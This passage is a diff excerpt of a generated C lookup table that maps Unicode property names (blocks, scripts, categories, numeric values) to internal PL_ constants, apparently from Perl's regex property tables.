+ { 2, 7136, 3611, 7, 15, PL_BOPOMOFOEXT } /* block=bopomofoextended */,
+ { 1, 8096, 7810, 4, 6, PL_GOTH } /* scx=gothic */,
+ { 5, 7288, 7822, 7, 4, PL_HATR } /* script=hatr */,
+ { 0, 3129, 8432, 17, 3, PL_NKO } /* scriptextensions=nko */,
+ { 2, 7136, 4135, 7, 6, PL_BRAI } /* block=braille */,
+ { 1, 3129, 3458, 17, 4, PL_MANI } /* scriptextensions=mani */,
+ { 2, 4284, 4042, 14, 7, PL_LB__H2 } /* hangulsyllabletype=lv */,
+ { 9, 7136, 3339, 6, 17, PL_CYRILLICEXTB } /* block=cyrillicextendedb */,
+ { 1, 7136, 690, 6, 16, PL_CUNEIFORMNUMBERS } /* block=cuneiformnumbers */,
+ { 1, 1701, 3223, 2, 2, -PL_SD } /* sd=n */,
+ { 8, 8086, 7997, 5, 4, PL_QMARK } /* qmark=yes */,
+ { 0, 8086, 7768, 5, 2, -PL_QMARK } /* qmark=f */,
+ { 2, 8240, 3516, 3, 10, PL_BC__WS } /* bc=whitespace */,
+ { 5, 3424, 0, 17, 0, PL_IDSB } /* idsbinaryoperator */,
+ { 3, 3129, 2787, 17, 4, PL_CHER } /* scriptextensions=cher */,
+ { 12, 7380, 5219, 7, 2, PL_CCC__10 } /* ccc=ccc10 */,
+ { 6, 6890, 8568, 4, 3, PL_INVAI } /* blk=vai */,
+ { 0, 7459, 8404, 3, 4, PL_SC__MLYM } /* sc=mlym */,
+ { 0, 6890, 4841, 4, 14, PL_LATINEXTB } /* blk=latinextendedb */,
+ { 1, 7459, 8492, 3, 4, PL_RUNR } /* sc=runr */,
+ { 0, 6890, 416, 5, 31, PL_INIDC } /* blk=ideographicdescriptioncharacters */,
+ { 0, 7136, 7025, 6, 9, PL_INOLDTURKIC } /* block=oldturkic */,
+ { 1, 3129, 7882, 17, 6, PL_LYDI } /* scriptextensions=lydian */,
+ { 0, 6472, 1107, 10, 8, PL_WB__KA } /* wordbreak=katakana */,
+ { 0, 6472, 3985, 10, 9, PL_LB__EM } /* wordbreak=emodifier */,
+ { 1, 1448, 7605, 3, 6, PL_INSIDDHAM } /* insiddham */,
+ { 3, 7288, 2674, 7, 4, PL_SUND } /* script=sund */,
+ { 3, 7380, 8645, 7, 3, PL_CCC__129 } /* ccc=ccc129 */,
+ { 1, 7136, 468, 6, 11, PL_INPUNCTUATION } /* block=punctuation */,
+ { 0, 3129, 8324, 17, 4, PL_HMNG } /* scriptextensions=hmng */,
+ { 1, 8236, 0, 4, 0, PL_BATK } /* batk */,
+ { 3, 5544, 7750, 13, 6, PL_NV__800000 } /* numericvalue=800000 */,
+ { 0, 184, 7232, 2, 8, PL_JAMOEXTA } /* isjamoexta */,
+ { 15, 184, 568, 2, 2, PL_NB } /* isnb */,
+ { 2, 184, 4771, 2, 14, PL_INGREEK } /* isgreekandcoptic */,
+ { 24, 184, 2044, 2, 14, PL_MEETEIMAYEKEXT } /* ismeeteimayekext */,
+ { 1, 7136, 1081, 6, 26, PL_HALFANDFULLFORMS } /* block=halfwidthandfullwidthforms */,
+ { 9, 184, 1585, 2, 4, PL_JAMO } /* isjamo */,
+ { 0, 7380, 16, 4, 1, PL_CCC__B } /* ccc=b */,
+ { 0, 6890, 7786, 4, 6, PL_INCHAKMA } /* blk=chakma */,
+ { 3, 2229, 0, 17, 0, PL_L } /* generalcategory=l */,
+ { 4, 8508, 1590, 4, 4, PL_SC__LATN } /* sc=latin */,
+ { 4, 7344, 3223, 4, 2, -PL_XIDS } /* xids=n */,
+ { 0, 119, 7201, 3, 7, PL_INGURMUKHI } /* ingurmukhi */,
+ { 1, 21, 568, 2, 2, PL_NB } /* innb */,
+ { 0, 8508, 4789, 4, 2, PL_LAO } /* sc=lao */,
+ { 4, 21, 3239, 4, 15, PL_ALCHEMICAL } /* inalchemicalsymbols */,
+ { 1, 1402, 6121, 3, 5, PL_DOMINO } /* indomino */,
+ { 2, 8376, 18, 3, 2, PL_RI } /* lb=ri */,
+ { 0, 5250, 3223, 8, 3, -PL_XPOSIXXDIGIT } /* hexdigit=no */,
+ { 3, 4630, 1930, 3, 4, PL_XPOSIXUPPER } /* isupper */,
+ { 34, 5583, 7951, 13, 5, PL_QMARK } /* quotationmark=true */,
+ { 2, 8096, 7010, 4, 4, PL_ITAL } /* scx=ital */,
+ { 0, 4479, 966, 15, 2, PL_NFKCQC__N } /* nfkcquickcheck=no */,
+ { 10, 6890, 3322, 4, 17, PL_CYRILLICEXTA } /* blk=cyrillicextendeda */,
+ { 2, 4494, 0, 15, 0, PL_NARB } /* oldnortharabian */,
+ { 1, 3129, 2408, 17, 4, PL_BRAH } /* scriptextensions=brah */,
+ { 0, 6483, 3223, 4, 2, -PL_XIDC } /* xidc=n */,
+ { 0, 3129, 7200, 17, 8, PL_GURU } /* scriptextensions=gurmukhi */,
+ { 0, 4314, 2437, 13, 3, PL_JG__YEH } /* joininggroup=yeh */,
+ { 0, 5544, 8643, 13, 2, PL_NV__22 } /* numericvalue=22 */,
+ { 0, 3129, 7513, 17, 7, PL_MAND } /* scriptextensions=mandaic */,
+ { 68, 8816, 7941, 3, 2, PL_NV__11 } /* nv=11 */,
+ { 0, 7459, 8584, 3, 4, PL_XSUX } /* sc=xsux */,
+ { 0, 7288, 8356, 7, 4, PL_SC__KNDA } /* script=knda */,
+ { 0, 7192, 0, 8, 0, PL_GUJR } /* gujarati */,
+ { 0, 8272, 3581, 4, 2, PL_CWCF } /* cwcf=t */,
+ { 0, 4402, 6297, 3, 10, PL_MISCSYMBOLS } /* inmiscsymbols */,
+ { 27, 8096, 8284, 4, 4, PL_DSRT } /* scx=dsrt */,
+ { 1, 6890, 468, 4, 11, PL_INPUNCTUATION } /* blk=punctuation */,
+ { 2, 6706, 7714, 10, 1, PL_IN__3 } /* presentin=3 */,
+ { 1, 8196, 7720, 4, 1, PL_AGE__4 } /* age=4 */,
+ { 0, 892, 7768, 17, 6, -PL_VS } /* variationselector=false */,
+ { 2, 4402, 3883, 3, 15, PL_MYANMAREXTA } /* inmyanmarextendeda */,
+ { 10, 3509, 7951, 17, 5, PL_PATWS } /* patternwhitespace=true */,
+ { 0, 1378, 0, 24, 0, PL_HIGHPUSURROGATES } /* highprivateusesurrogates */,
+ { 0, 1402, 2349, 24, 12, PL_INPC__TOPANDBOTTOM } /* indicpositionalcategory=topandbottom */,
+ { 0, 7136, 8568, 6, 3, PL_INVAI } /* block=vai */,
+ { 1, 6890, 750, 4, 22, PL_ENCLOSEDIDEOGRAPHICSUP } /* blk=enclosedideographicsup */,
+ { 9, 6219, 7768, 11, 6, -PL_JOINC } /* joincontrol=false */,
+ { 2, 3129, 7527, 17, 7, PL_MULT } /* scriptextensions=multani */,
+ { 0, 8894, 18, 3, 1, PL_VO__R } /* vo=r */,
+ { 0, 7240, 0, 8, 0, PL_JAMOEXTB } /* jamoextb */,
+ { 18, 4402, 184, 3, 19, PL_MISCSYMBOLS } /* inmiscellaneoussymbols */,
+ { 0, 2221, 4046, 3, 3, PL_LB__H2 } /* hst=lv */,
+ { 0, 7380, 24, 4, 1, PL_CCC__L } /* ccc=l */,
+ { 0, 34, 7951, 3, 5, PL_EXT } /* ext=true */,
+ { 0, 1159, 7997, 25, 2, PL_CWKCF } /* changeswhennfkccasefolded=y */,
+ { 1, 6890, 2674, 4, 9, PL_INSUNDANESE } /* blk=sundanese */,
+ { 26, 8026, 6030, 3, 7, PL_PHAISTOS } /* inphaistos */,
+ { 1, 7459, 7780, 3, 6, PL_CARI } /* sc=carian */,
+ { 2, 5134, 7045, 4, 7, PL_PAUC } /* ispaucinhau */,
+ { 7, 7459, 4010, 3, 4, PL_TANG } /* sc=tang */,
+ { 1, 3854, 0, 10, 0, PL_SM } /* mathsymbol */,
+ { 16, 5777, 0, 4, 0, PL_HEBR } /* hebr */,
+ { 4, 5245, 7997, 13, 4, PL_POSIXXDIGIT } /* asciihexdigit=yes */,
+ { 34, 3129, 4134, 17, 7, PL_BRAI } /* scriptextensions=braille */,
+ { 0, 7128, 0, 4, 0, PL_BASS } /* bass */,
+ { 0, 8026, 6374, 3, 10, PL_INPAHAWHHMONG } /* inpahawhhmong */,
+ { 1, 7478, 2675, 3, 8, PL_SUND } /* issundanese */,
+ { 16, 8096, 7034, 4, 9, PL_PALM } /* scx=palmyrene */,
+ { 4, 7136, 1566, 6, 6, PL_INHANGUL } /* block=hangul */,
+ { 8, 436, 7768, 5, 6, -PL_NCHAR } /* nchar=false */,
+ { 0, 8011, 468, 3, 11, PL_P } /* gc=punctuation */,
+ { 1, 1627, 0, 7, 0, PL_XPOSIXCNTRL } /* control */,
+ { 2, 6890, 6953, 4, 9, PL_LATINEXTD } /* blk=latinextd */,
+ { 4, 2236, 36, 10, 1, PL_LT } /* category=lt */,
+ { 4, 8011, 235, 3, 2, PL_LO } /* gc=lo */,
+ { 0, 6890, 3021, 4, 18, PL_LATINEXTADDITIONAL } /* blk=latinextadditional */,
+ { 1, 8196, 8855, 4, 3, PL_AGE__3_DOT_2 } /* age=v32 */,
+ { 2, 184, 4813, 2, 7, PL_KANASUP } /* iskanasup */,
+ { 2, 7136, 6307, 6, 11, PL_MYANMAREXTA } /* block=myanmarexta */,
+ { 7, 1474, 0, 23, 0, PL_BPT__C } /* bidipairedbrackettype=c */,
+ { 15, 8011, 2169, 3, 20, PL_PC } /* gc=connectorpunctuation */,
+ { 2, 4314, 5065, 13, 14, PL_JG__NOJOININGGROUP } /* joininggroup=nojoininggroup */,
+ { 7, 7136, 7192, 6, 8, PL_INGUJARATI } /* block=gujarati */,
+ { 0, 184, 1621, 2, 6, PL_CF } /* isformat */,
+ { 2, 8816, 7710, 3, 1, PL_NV__6 } /* nv=6 */,
+ { 0, 21, 2390, 3, 18, PL_ANCIENTGREEKNUMBERS } /* inancientgreeknumbers */,
+ { 1, 7136, 5825, 6, 7, PL_MAHJONG } /* block=mahjong */,
+ { 0, 7136, 1981, 6, 8, PL_INCYRILLIC } /* block=cyrillic */,
+ { 0, 8572, 1621, 3, 6, PL_WB__FO } /* wb=format */,
+ { 0, 2229, 1204, 16, 2, PL_PO } /* generalcategory=po */,
+ { 20, 6109, 1307, 10, 12, PL_M } /* category=combiningmark */,
+ { 0, 3129, 7043, 17, 4, PL_PAUC } /* scriptextensions=pauc */,
+ { 0, 4239, 7951, 4, 5, PL_DASH } /* dash=true */,
+ { 3, 8096, 8220, 4, 4, PL_ARMN } /* scx=armn */,
+ { 0, 34, 3223, 3, 3, -PL_EXT } /* ext=no */,
+ { 20, 7459, 2841, 3, 6, PL_SC__COPT } /* sc=coptic */,
+ { 0, 4590, 7997, 2, 2, PL_VS } /* vs=y */,
+ { 1, 7136, 2949, 6, 18, PL_INPUNCTUATION } /* block=generalpunctuation */,
+ { 8, 8011, 4599, 3, 15, PL_LU } /* gc=uppercaseletter */,
+ { 5, 8504, 807, 3, 2, PL_SB__SP } /* sb=sp */,
+ { 0, 5134, 83, 3, 2, PL_PCM } /* ispcm */,
+ { 22, 2134, 7997, 3, 4, PL_XPOSIXXDIGIT } /* hex=yes */,
+ { 0, 8288, 4188, 3, 6, PL_DT__MED } /* dt=medial */,
+ { 20, 3129, 7882, 17, 4, PL_LYDI } /* scriptextensions=lydi */,
+ { 0, 8783, 7997, 3, 2, PL_CWU } /* cwu=y */,
+ { 51, 8096, 8253, 5, 3, PL_BUHD } /* scx=buhd */,
+ { 2, 8504, 496, 3, 2, PL_LB__NU } /* sb=nu */,
+ { 0, 8340, 218, 3, 2, PL_JG__PE } /* jg=pe */,
+ { 0, 7478, 6407, 3, 10, PL_SORA } /* issorasompeng */,
+ { 0, 6890, 8111, 4, 5, PL_INTAKRI } /* blk=takri */,
+ { 0, 7224, 5253, 3, 5, PL_XPOSIXXDIGIT } /* isxdigit */,
+ { 6, 184, 6208, 2, 5, PL_JOINC } /* isjoinc */,
+ { 0, 5544, 7750, 13, 4, PL_NV__8000 } /* numericvalue=8000 */,
+ { 0, 7224, 8585, 3, 3, PL_XSUX } /* isxsux */,
+ { 0, 6472, 8935, 10, 2, PL_WB__XX } /* wordbreak=xx */,
+ { 0, 8816, 7732, 3, 1, PL_NV__5 } /* nv=5 */,
+ { 2, 117, 4300, 3, 14, PL_INIMPERIALARAMAIC } /* inimperialaramaic */,
+ { 0, 7846, 0, 6, 0, PL_KTHI } /* kaithi */,
+ { 14, 6506, 4832, 3, 9, PL_YIRADICALS } /* isyiradicals */,
+ { 16, 7906, 800, 4, 3, PL_SC__KNDA } /* sc=knda */,
+ { 0, 2598, 0, 4, 0, PL_MERO } /* mero */,
+ { 0, 3424, 7951, 17, 5, PL_IDSB } /* idsbinaryoperator=true */,
+ { 3, 6890, 5801, 4, 5, PL_INKHMER } /* blk=khmer */,
+ { 6, 5544, 8663, 13, 3, PL_NV__2_SLASH_3 } /* numericvalue=2/3 */,
+ { 0, 8340, 6065, 3, 11, PL_JG__AFRICANNOON } /* jg=africannoon */,
+ { 2, 8340, 5528, 3, 3, PL_JG__WAW } /* jg=waw */,
+ { 5, 184, 1940, 3, 20, PL_CJKCOMPATFORMS } /* iscjkcompatibilityforms */,
+ { 0, 6890, 7034, 4, 9, PL_PALM } /* blk=palmyrene */,
+ { 5, 4630, 7675, 3, 6, PL_UCASEXT } /* isucasext */,
+ { 3, 7136, 2895, 6, 8, PL_INETHIOPIC } /* block=ethiopic */,
+ { 9, 6890, 1107, 4, 8, PL_INKATAKANA } /* blk=katakana */,
+ { 0, 6263, 807, 10, 2, PL_LB__SP } /* linebreak=sp */,
+ { 0, 6713, 8891, 3, 3, PL_IN__9 } /* in=v90 */,
+ { 0, 5134, 7, 3, 1, PL_PC } /* ispc */,
+ { 2, 1746, 34, 21, 6, PL_GREXT } /* graphemeclusterbreak=extend */,
+ { 2, 184, 1012, 2, 6, PL_L } /* isletter */,
+ { 0, 21, 3021, 2, 18, PL_LATINEXTADDITIONAL } /* inlatinextadditional */,
+ { 4, 8344, 7, 3, 1, PL_JT__C } /* jt=c */,
+ { 4, 7288, 8348, 7, 4, PL_SC__KALI } /* script=kali */,
+ { 4, 6890, 2541, 4, 19, PL_JAMOEXTA } /* blk=hanguljamoextendeda */,
+ { 0, 7136, 2841, 6, 18, PL_COPTICEPACTNUMBERS } /* block=copticepactnumbers */,
+ { 4, 3129, 7152, 17, 8, PL_DUPL } /* scriptextensions=duployan */,
+ { 0, 8336, 7655, 4, 5, PL_INTIBETAN } /* intibetan */,
+ { 1, 7459, 7272, 3, 8, PL_SC__MAHJ } /* sc=mahajani */,
+ { 2, 7226, 62, 6, 5, PL_XPOSIXGRAPH } /* xposixgraph */,
+ { 0, 7136, 3111, 6, 4, PL_RUMI } /* block=rumi */,
+ { 8, 7288, 8460, 7, 4, PL_SC__PHLP } /* script=phlp */,
+ { 3, 7443, 0, 4, 0, PL_GRAN } /* gran */,
+ { 1, 7478, 2675, 3, 18, PL_SUNDANESESUP } /* issundanesesupplement */,
+ { 1, 7288, 6439, 7, 11, PL_SC__SYLO } /* script=sylotinagri */,
+ { 0, 5765, 0, 12, 0, PL_GRBASE } /* graphemebase */,
+ { 1, 5544, 7732, 13, 1, PL_NV__5 } /* numericvalue=5 */,
+ { 40, 8101, 3581, 5, 2, PL_STERM } /* sterm=t */,
+ { 1, 78, 0, 6, 0, PL_ARAB } /* arabic */,
+ { 1, 5544, 8148, 13, 3, PL_NV__1_SLASH_4 } /* numericvalue=1/4 */,
+ { 1, 6472, 5772, 10, 5, PL_WB__EB } /* wordbreak=ebase */,
+ { 5, 7906, 8, 4, 3, PL_SC__KANA } /* sc=kana */,
+ { 1, 6890, 2617, 4, 19, PL_MODIFIERTONELETTERS } /* blk=modifiertoneletters */,
+ { 0, 8101, 7768, 5, 2, -PL_STERM } /* sterm=f */,
+ { 1, 8816, 8909, 3, 2, PL_NV__45 } /* nv=45 */,
+ { 7, 6210, 691, 3, 29, PL_CUNEIFORMNUMBERS } /* incuneiformnumbersandpunctuation */,
+ { 38, 6890, 1658, 4, 22, PL_CJKCOMPATIDEOGRAPHSSUP } /* blk=cjkcompatideographssup */,
+ { 0, 7136, 864, 6, 28, PL_SUPPUAB } /* block=supplementaryprivateuseareab */,
+ { 4, 7459, 7336, 3, 4, PL_UGAR } /* sc=ugar */,
+ { 6, 5544, 8144, 13, 4, PL_NV__1_SLASH_20 } /* numericvalue=1/20 */,
+ { 0, 3129, 7822, 17, 6, PL_HATR } /* scriptextensions=hatran */,
+ { 4, 3129, 8416, 17, 4, PL_MYMR } /* scriptextensions=mymr */,
+ { 36, 8096, 7590, 4, 7, PL_SHRD } /* scx=sharada */,
+ { 3, 6890, 690, 4, 16, PL_CUNEIFORMNUMBERS } /* blk=cuneiformnumbers */,
+ { 0, 3129, 8460, 17, 4, PL_PHLP } /* scriptextensions=phlp */,
+ { 0, 1426, 7328, 22, 8, PL_INSC__TONEMARK } /* indicsyllabiccategory=tonemark */,
+ { 0, 7136, 7248, 6, 8, PL_INJAVANESE } /* block=javanese */,
+ { 15, 184, 1506, 2, 14, PL_MUSIC } /* ismusicalsymbols */,
+ { 3, 5544, 7720, 13, 2, PL_NV__40 } /* numericvalue=40 */,
+ { 2, 5681, 0, 12, 0, PL_CYRILLICEXTA } /* cyrillicexta */,
+ { 10, 1680, 0, 6, 0, PL_ZYYY } /* common */,
+ { 4, 8096, 8480, 4, 4, PL_QAAI } /* scx=qaai */,
+ { 4, 7136, 2693, 6, 19, PL_SUPARROWSA } /* block=supplementalarrowsa */,
+ { 0, 8036, 7683, 4, 5, PL_ZZZZ } /* isunknown */,
+ { 0, 184, 6597, 3, 9, PL_COMPATJAMO } /* iscompatjamo */,
+ { 2, 5645, 7997, 5, 4, PL_BIDIC } /* bidic=yes */,
+ { 0, 7288, 2098, 8, 3, PL_BALI } /* script=bali */,
+ { 6, 7224, 6472, 8, 4, PL_XPOSIXWORD } /* isxposixword */,
+ { 2, 8096, 8460, 4, 4, PL_PHLP } /* scx=phlp */,
+ { 0, 7380, 8691, 7, 2, PL_CCC__28 } /* ccc=ccc28 */,
+ { 2, 3129, 8468, 17, 4, PL_MIAO } /* scriptextensions=plrd */,
+ { 4, 1702, 0, 22, 0, PL_DIACRITICALSFORSYMBOLS } /* diacriticalsforsymbols */,
+ { 3, 2100, 8067, 3, 4, PL_ORYA } /* isoriya */,
+ { 32, 8096, 7429, 4, 7, PL_DSRT } /* scx=deseret */,
+ { 0, 7136, 3237, 6, 10, PL_ALCHEMICAL } /* block=alchemical */,
+ { 1, 4314, 4384, 13, 3, PL_JG__SAD } /* joininggroup=sad */,
+ { 4, 7380, 8673, 4, 2, PL_CCC__14 } /* ccc=14 */,
+ { 0, 8096, 8368, 4, 4, PL_LAO } /* scx=laoo */,
+ { 3, 6472, 72, 10, 2, PL_WB__LE } /* wordbreak=le */,
+ { 1, 8026, 6030, 3, 11, PL_PHAISTOS } /* inphaistosdisc */,
+ { 17, 7136, 6373, 6, 11, PL_INPAHAWHHMONG } /* block=pahawhhmong */,
+ { 20, 3129, 8368, 17, 3, PL_LAO } /* scriptextensions=lao */,
+ { 0, 974, 8160, 27, 2, PL_CCC__13 } /* canonicalcombiningclass=ccc13 */,
+ { 0, 184, 8428, 2, 4, PL_NEWA } /* isnewa */,
+ { 0, 1426, 2625, 22, 10, PL_INSC__TONELETTER } /* indicsyllabiccategory=toneletter */,
+ { 0, 1963, 7768, 7, 6, -PL_RADICAL } /* radical=false */,
+ { 1, 1680, 0, 22, 0, PL_INDICNUMBERFORMS } /* commonindicnumberforms */,
+ { 0, 7136, 954, 6, 5, PL_INGREEK } /* block=greek */,
+ { 1, 974, 8696, 24, 3, PL_CCC__AR } /* canonicalcombiningclass=232 */,
+ { 8, 1202, 7768, 3, 2, -PL_DEP } /* dep=f */,
+ { 1, 7288, 8368, 7, 3, PL_LAO } /* script=lao */,
+ { 0, 184, 4104, 2, 5, PL_BAMU } /* isbamum */,
+ { 39, 3610, 0, 8, 0, PL_BOPO } /* bopomofo */,
+ { 4, 184, 7443, 2, 4, PL_GRAN } /* isgran */,
+ { 0, 1503, 2896, 3, 7, PL_INETHIOPIC } /* inethiopic */,
+ { 0, 954, 0, 5, 0, PL_GREK } /* greek */,
+ { 0, 7136, 2149, 6, 20, PL_INANATOLIANHIEROGLYPHS } /* block=anatolianhieroglyphs */,
+ { 0, 6109, 25, 10, 1, PL_CS } /* category=cs */,
+ { 2, 8240, 1804, 3, 3, PL_BC__RLE } /* bc=rle */,
+ { 4, 8504, 7562, 3, 7, PL_SB__LE } /* sb=oletter */,
+ { 1, 8240, 2309, 3, 20, PL_BC__PDF } /* bc=popdirectionalformat */,
+ { 0, 8798, 3223, 3, 2, -PL_LOE } /* loe=n */,
+ { 0, 186, 3223, 2, 2, -PL_CE } /* ce=n */,
+ { 2, 8816, 7714, 3, 3, PL_NV__300 } /* nv=300 */,
+ { 1, 7136, 8408, 6, 3, PL_INMRO } /* block=mro */,
+ { 1, 7380, 23, 4, 2, PL_CCC__AL } /* ccc=al */,
+ { 2, 8240, 25, 4, 1, PL_BC__ES } /* bc=es */,
+ { 2, 2750, 7951, 19, 5, PL_TERM } /* terminalpunctuation=true */,
+ { 2, 3658, 0, 16, 0, PL_PE } /* closepunctuation */,
+ { 8, 7288, 3882, 7, 7, PL_SC__MYMR } /* script=myanmar */,
+ { 3, 4329, 0, 15, 0, PL_LL } /* lowercaseletter */,
+ { 15, 7136, 2107, 6, 7, PL_INSINHALA } /* block=sinhala */,
+ { 6, 1929, 7997, 9, 4, PL_XPOSIXUPPER } /* uppercase=yes */,
+ { 2, 184, 779, 2, 29, PL_MISCARROWS } /* ismiscellaneoussymbolsandarrows */,
+ { 1, 974, 8685, 24, 2, PL_CCC__24 } /* canonicalcombiningclass=24 */,
+ { 0, 7136, 7810, 6, 6, PL_INGOTHIC } /* block=gothic */,
+ { 0, 7786, 0, 6, 0, PL_CAKM } /* chakma */,
+ { 0, 1892, 3223, 5, 3, -PL_CASED } /* cased=no */,
+ { 3, 8006, 7951, 5, 5, PL_CWKCF } /* cwkcf=true */,
+ { 0, 7224, 8081, 8, 5, PL_XPOSIXPRINT } /* isxposixprint */,
+ { 0, 7380, 7714, 7, 2, PL_CCC__30 } /* ccc=ccc30 */,
+ { 8, 7459, 8432, 3, 3, PL_NKO } /* sc=nko */,
+ { 1, 6890, 7882, 4, 6, PL_INLYDIAN } /* blk=lydian */,
+ { 0, 7136, 42, 6, 3, PL_CJK } /* block=cjk */,
+ { 2, 7136, 5232, 6, 13, PL_AEGEANNUMBERS } /* block=aegeannumbers */,
+ { 0, 8096, 6736, 4, 10, PL_SAUR } /* scx=saurashtra */,
+ { 4, 8021, 7768, 5, 6, -PL_GREXT } /* grext=false */,
+ { 0, 5323, 0, 13, 0, PL_ME } /* enclosingmark */,
+ { 2, 5284, 3223, 13, 2, -PL_CI } /* caseignorable=n */,
+ { 3, 974, 8655, 27, 2, PL_CCC__33 } /* canonicalcombiningclass=ccc33 */,
+ { 0, 2859, 7, 18, 3, PL_DT__CAN } /* decompositiontype=can */,
+ { 7, 7459, 7443, 3, 4, PL_SC__GRAN } /* sc=gran */,
+ { 0, 7224, 7345, 3, 7, PL_XIDS } /* isxidstart */,
+ { 0, 7010, 0, 4, 0, PL_ITAL } /* ital */,
+ { 0, 1876, 3223, 21, 2, -PL_CWL } /* changeswhenlowercased=n */,
+ { 19, 3129, 7912, 17, 6, PL_TELU } /* scriptextensions=telugu */,
+ { 1, 6210, 3554, 4, 4, PL_INCARIAN } /* incarian */,
+ { 14, 2100, 6341, 3, 10, PL_LO } /* isotherletter */,
+ { 0, 96, 7768, 10, 6, -PL_XPOSIXALPHA } /* alphabetic=false */,
+ { 3, 3129, 5801, 17, 5, PL_KHMR } /* scriptextensions=khmer */,
+ { 16, 5609, 0, 12, 0, PL_ALPHABETICPF } /* alphabeticpf */,
+ { 52, 892, 7951, 17, 5, PL_VS } /* variationselector=true */,
+ { 0, 184, 959, 2, 5, PL_MUSIC } /* ismusic */,
+ { 0, 5544, 5219, 13, 7, PL_NV__1000000 } /* numericvalue=1000000 */,
+ { 0, 4198, 2969, 4, 9, PL_GEORGIANSUP } /* ingeorgiansup */,
+ { 1, 4314, 3786, 13, 16, PL_JG__MANICHAEANDALETH } /* joininggroup=manichaeandaleth */,
+ { 68, 6890, 4254, 4, 15, PL_DIACRITICALSEXT } /* blk=diacriticalsext */,
+ { 4, 8096, 8372, 4, 4, PL_LATN } /* scx=latn */,
+ { 2, 4757, 7768, 14, 2, -PL_GREXT } /* graphemeextend=f */,
+ { 3, 7288, 8496, 7, 4, PL_SAMR } /* script=samr */,
+ { 9, 4554, 807, 14, 2, PL_SB__SP } /* sentencebreak=sp */,
+ { 12, 2967, 0, 18, 0, PL_GEORGIANSUP } /* georgiansupplement */,
+ { 9, 8036, 1200, 5, 4, PL_ANY } /* isunicode */,
+ { 0, 133, 0, 4, 0, PL_M } /* mark */,
+ { 34, 8816, 7744, 3, 6, PL_NV__700000 } /* nv=700000 */,
+ { 48, 3129, 2484, 17, 19, PL_EGYP } /* scriptextensions=egyptianhieroglyphs */,
+ { 0, 7136, 2269, 6, 20, PL_ININSCRIPTIONALPAHLAVI } /* block=inscriptionalpahlavi */,
+ { 2, 122, 3223, 9, 3, -PL_DIA } /* diacritic=no */,
+ { 1, 7471, 96, 7, 5, PL_POSIXALPHA } /* isposixalpha */,
+ { 4, 6713, 8756, 3, 3, PL_IN__6_DOT_3 } /* in=6.3 */,
+ { 1, 6613, 7823, 3, 5, PL_HATR } /* ishatran */,
+ { 2, 6917, 5779, 4, 4, PL_INHEBREW } /* inhebrew */,
+ { 3, 7459, 2360, 3, 4, PL_SC__MAND } /* sc=mand */,
+ { 34, 8464, 0, 4, 0, PL_PHNX } /* phnx */,
+ { 6, 184, 316, 2, 33, PL_MISCMATHSYMBOLSB } /* ismiscellaneousmathematicalsymbolsb */,
+ { 0, 5645, 2088, 10, 3, PL_BC__PDI } /* bidiclass=pdi */,
+ { 0, 6890, 8388, 4, 4, PL_LISU } /* blk=lisu */,
+ { 0, 8308, 0, 4, 0, PL_GURU } /* guru */,
+ { 3, 5544, 7720, 13, 5, PL_NV__40000 } /* numericvalue=40000 */,
+ { 1, 8288, 2369, 3, 4, PL_DT__VERT } /* dt=vert */,
+ { 6, 3129, 7611, 17, 4, PL_SOYO } /* scriptextensions=soyo */,
+ { 1, 7798, 7997, 6, 2, PL_COMPEX } /* compex=y */,
+ { 29, 3424, 7768, 4, 6, -PL_IDSB } /* idsb=false */,
+ { 3, 8280, 0, 4, 0, PL_CYRL } /* cyrl */,
+ { 1, 7336, 0, 4, 0, PL_UGAR } /* ugar */,
+ { 6, 5645, 8, 10, 2, PL_BC__AN } /* bidiclass=an */,
+ { 65, 6890, 3738, 4, 9, PL_LATIN1 } /* blk=latin1sup */,
+ { 2, 808, 0, 18, 0, PL_PHONETICEXT } /* phoneticextensions */,
+ { 64, 8096, 7200, 4, 8, PL_GURU } /* scx=gurmukhi */,
+ { 2, 8240, 23, 3, 2, PL_BC__AL } /* bc=al */,
+ { 2, 184, 5336, 2, 13, PL_GREEKEXT } /* isgreekextended */,
+ { 3, 8340, 5479, 3, 13, PL_JG__MANICHAEANONE } /* jg=manichaeanone */,
+ { 1, 5645, 8813, 10, 3, PL_BC__NSM } /* bidiclass=nsm */,
+ { 2, 2859, 720, 18, 3, PL_DT__ENC } /* decompositiontype=enc */,
+ { 5, 4757, 3581, 14, 2, PL_GREXT } /* graphemeextend=t */,
+ { 10, 5192, 3425, 3, 16, PL_IDSB } /* isidsbinaryoperator */,
+ { 0, 184, 8798, 2, 3, PL_LOE } /* isloe */,
+ { 0, 2750, 3223, 19, 2, -PL_TERM } /* terminalpunctuation=n */,
+ { 0, 7478, 7605, 3, 3, PL_SIDD } /* issidd */,
+ { 0, 779, 0, 29, 0, PL_MISCARROWS } /* miscellaneoussymbolsandarrows */,
+ { 0, 7345, 3581, 7, 2, PL_IDS } /* idstart=t */,
+ { 15, 2065, 3223, 21, 2, -PL_NCHAR } /* noncharactercodepoint=n */,
+ { 0, 4402, 5532, 3, 12, PL_MISCTECHNICAL } /* inmisctechnical */,
+ { 0, 7459, 7366, 3, 4, PL_SC__BENG } /* sc=beng */,
+ { 1, 7136, 7034, 6, 9, PL_PALM } /* block=palmyrene */,
+ { 9, 1426, 3626, 22, 16, PL_INSC__CANTILLATIONMARK } /* indicsyllabiccategory=cantillationmark */,
+ { 40, 3516, 3223, 10, 2, -PL_XPOSIXSPACE } /* whitespace=n */,
+ { 0, 8026, 7035, 3, 8, PL_PALM } /* inpalmyrene */,
+ { 1, 8816, 7756, 3, 2, PL_NV__90 } /* nv=90 */,
+ { 0, 184, 3610, 2, 11, PL_BOPOMOFOEXT } /* isbopomofoext */,
+ { 8, 1834, 7768, 21, 2, -PL_CWCF } /* changeswhencasefolded=f */,
+ { 4, 184, 5765, 2, 12, PL_GRBASE } /* isgraphemebase */,
+ { 5, 6756, 3223, 10, 2, -PL_SD } /* softdotted=n */,
+ { 0, 8816, 8176, 3, 4, PL_NV__3_SLASH_20 } /* nv=3/20 */,
+ { 6, 3755, 1727, 5, 19, PL_EARLYDYNASTICCUNEIFORM } /* inearlydynasticcuneiform */,
+ { 0, 6554, 4135, 3, 14, PL_BRAI } /* inbraillepatterns */,
+ { 0, 6263, 1055, 10, 26, PL_LB__CJ } /* linebreak=conditionaljapanesestarter */,
+ { 0, 184, 43, 3, 35, PL_CJKCOMPATIDEOGRAPHSSUP } /* iscjkcompatibilityideographssupplement */,
+ { 0, 8780, 7768, 3, 6, -PL_CWT } /* cwt=false */,
+ { 9, 7906, 6293, 5, 2, PL_KHMR } /* sc=khmr */,
